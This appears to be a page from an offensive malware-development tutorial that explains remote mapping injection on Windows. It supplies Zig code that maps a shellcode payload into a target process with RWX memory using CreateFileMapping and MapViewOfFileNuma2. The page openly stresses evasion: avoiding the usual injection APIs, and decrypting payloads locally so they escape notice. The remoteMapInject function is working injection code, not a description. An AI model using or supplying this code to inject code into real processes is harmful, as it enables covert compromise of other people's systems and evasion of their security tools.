Skip to content

Remote Mapping Injection

TL;DR

See the code example

Remote mapping injection is an advanced process injection technique that combines the benefits of mapped memory with cross-process injection capabilities. Unlike traditional injection methods that rely on VirtualAllocEx and WriteProcessMemory, this technique uses file mapping APIs to create shared memory regions that can be accessed by both the injecting process and the target process.

Remote Mapping Injection

Remote mapping injection works by creating a file mapping object that can be mapped into multiple processes simultaneously. The technique involves:

  1. Creating a file mapping: Using CreateFileMapping to create a mapping object backed by the paging file
  2. Local mapping: Mapping the file into the current process's address space for writing
  3. Payload copying: Writing the shellcode to the locally mapped memory
  4. Remote mapping: Mapping the same file into the target process's address space with executable permissions
  5. Execution: Creating a remote thread to execute the shellcode

This approach offers several advantages:

  • Shared memory: The same physical memory pages are shared between processes
  • Atomic injection: The payload is written once and becomes immediately available in the target process
  • Memory efficiency: No need to allocate separate memory in the target process
  • Evasion potential: Uses legitimate file mapping APIs instead of traditional injection APIs

MapViewOfFile2

// Note: This function cannot be used reliably in Zig
extern "kernel32" fn MapViewOfFile2(
    FileMappingHandle: HANDLE,
    ProcessHandle: HANDLE,
    Offset: u64,
    BaseAddress: ?*anyopaque,
    ViewSize: usize,
    AllocationType: u32,
    PageProtection: u32,
) callconv(WINAPI) ?*anyopaque;

This function is designed to map a view of a file mapping into a specified process. However, it cannot be used reliably in Zig due to compilation and linking issues. Check this GitHub issue for more details about the specific problems encountered when attempting to use this function.

The main issues include:

  • Linker errors: The function may not be properly linked during compilation
  • API availability: Inconsistent availability across different Windows versions
  • Zig compatibility: The function signature may not be fully compatible with Zig's FFI system

MapViewOfFileNuma2

extern "api-ms-win-core-memory-l1-1-5" fn MapViewOfFileNuma2(
    FileMappingHandle: HANDLE,
    ProcessHandle: HANDLE,
    Offset: u64,
    BaseAddress: ?*anyopaque,
    ViewSize: usize,
    AllocationType: u32,
    PageProtection: u32,
    PreferredNode: u32,
) callconv(windows.WINAPI) ?*anyopaque;

MapViewOfFileNuma2 is the NUMA-aware version of MapViewOfFile2 and serves as the primary function for remote mapping injection. This function allows mapping a file view into a remote process while specifying NUMA preferences.

Parameters:

  • FileMappingHandle: Handle to the file mapping object
  • ProcessHandle: Handle to the target process
  • Offset: Byte offset in the file where mapping begins
  • BaseAddress: Preferred base address (can be null for system choice)
  • ViewSize: Size of the mapping (0 for entire file)
  • AllocationType: Memory allocation type (typically 0)
  • PageProtection: Memory protection flags (e.g., PAGE_EXECUTE_READWRITE)
  • PreferredNode: NUMA node preference (NUMA_NO_PREFERRED_NODE for no preference)

Key Features:

  • Cross-process mapping: Can map memory into remote processes
  • NUMA awareness: Allows specification of preferred NUMA nodes
  • Flexible permissions: Can set different memory protection flags
  • System integration: Part of the Windows API memory management system

Note

Unlike local mapping injection, this technique doesn't require the locally mapped memory to be executable because the payload runs in the remote process, not locally. The local process maps the shared memory with FILE_MAP_WRITE to copy or decrypt the payload. Then, MapViewOfFile2 (MapViewOfFileNuma2) is used to map the same memory region into the target process. Since both views share the same file mapping handle, any changes made locally — such as decrypting the payload — are automatically reflected in the remote process’s memory. This is useful for real-world scenarios where the payload is encrypted: the attacker can map it into the remote process, decrypt it locally, and then trigger execution remotely, without ever exposing the raw payload in the local process. This approach improves stealth and avoids using direct remote memory writing.

remoteMapInject Function

The core function that implements remote mapping injection:

fn remoteMapInject(hProcess: HANDLE, pPayload: []const u8, ppAddress: *?PVOID) bool {
    var bState: bool = true;
    var hFile: ?HANDLE = null;
    var pMapLocalAddress: ?PVOID = null;
    var pMapRemoteAddress: ?PVOID = null;

    // Create a file mapping handle with RWX memory permissions
    hFile = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        null,
        PAGE_EXECUTE_READWRITE,
        0,
        @intCast(pPayload.len),
        null,
    );

    if (hFile == null) {
        print("\t[!] CreateFileMapping Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        return bState;
    }

    // Map the view locally for writing
    pMapLocalAddress = MapViewOfFile(
        hFile.?,
        FILE_MAP_WRITE,
        0,
        0,
        pPayload.len,
    );

    if (pMapLocalAddress == null) {
        print("\t[!] MapViewOfFile Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        if (hFile) |handle| _ = CloseHandle(handle);
        return bState;
    }

    print("\t[+] Local Mapping Address : 0x{X}\n", .{@intFromPtr(pMapLocalAddress.?)});

    // Copy payload to local mapping
    const dest = @as([*]u8, @ptrCast(pMapLocalAddress.?));
    @memcpy(dest[0..pPayload.len], pPayload);

    // Map the same file into the remote process with execute permissions
    pMapRemoteAddress = MapViewOfFileNuma2(
        hFile.?,
        hProcess,
        0,
        null,
        0,
        0,
        PAGE_EXECUTE_READWRITE,
        NUMA_NO_PREFERRED_NODE,
    );

    if (pMapRemoteAddress == null) {
        print("\t[!] MapViewOfFileNuma2 Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        if (hFile) |handle| _ = CloseHandle(handle);
        return bState;
    }

    print("\t[+] Remote Mapping Address : 0x{X}\n", .{@intFromPtr(pMapRemoteAddress.?)});

    ppAddress.* = pMapRemoteAddress;
    if (hFile) |handle| _ = CloseHandle(handle);
    return bState;
}

Process Flow:

  1. File mapping creation: Creates a file mapping object backed by the paging file
  2. Local mapping: Maps the file locally with write permissions for payload copying
  3. Payload writing: Copies the shellcode to the locally mapped memory
  4. Remote mapping: Maps the same file into the target process with execute permissions
  5. Address return: Returns the remote mapping address for thread creation

Key Advantages:

  • Shared memory: Both processes access the same physical memory pages
  • Atomic operation: Payload becomes available in target process immediately after local write
  • Memory efficiency: No need for separate allocation and copying in target process
  • Legitimate APIs: Uses standard Windows memory management APIs

UnmapViewOfFile

extern "kernel32" fn UnmapViewOfFile(lpBaseAddress: PVOID) callconv(WINAPI) BOOL;

While not used in this specific implementation, UnmapViewOfFile is crucial for proper cleanup of mapped memory regions. It unmaps a mapped view of a file from the calling process's address space.

Usage scenarios:

  • Cleanup: Removing mapped memory regions when no longer needed
  • Security: Preventing memory leaks and unauthorized access
  • Resource management: Proper handling of system resources

Example usage:

// Clean up local mapping
if (pMapLocalAddress) |addr| {
    if (UnmapViewOfFile(addr) == 0) {
        print("[!] UnmapViewOfFile failed: {}\n", .{windows.kernel32.GetLastError()});
    }
}

Important notes:

  • Must be called from the same process that created the mapping
  • Does not affect mappings in other processes
  • Should be called before closing the file mapping handle
  • Failure to unmap can lead to resource leaks

Key Benefits

  1. Shared Memory Architecture: Uses the same physical memory pages for both processes
  2. Atomic Injection: Payload becomes available immediately after local write
  3. Memory Efficiency: No separate allocation in target process required
  4. Evasion Potential: Uses legitimate Windows memory management APIs
  5. Cross-Process Capability: Can inject into remote processes with proper permissions

Limitations

  1. Windows Version Dependency: Requires Windows 10 version 1803 or later
  2. Permission Requirements: Needs appropriate process access rights
  3. API Availability: May not be available on all systems
  4. Detection: Advanced security solutions may still detect the technique
  5. Complexity: More complex than traditional injection methods

Remote mapping injection represents an advanced technique that leverages Windows' memory management architecture to achieve cross-process code injection while potentially evading some security controls.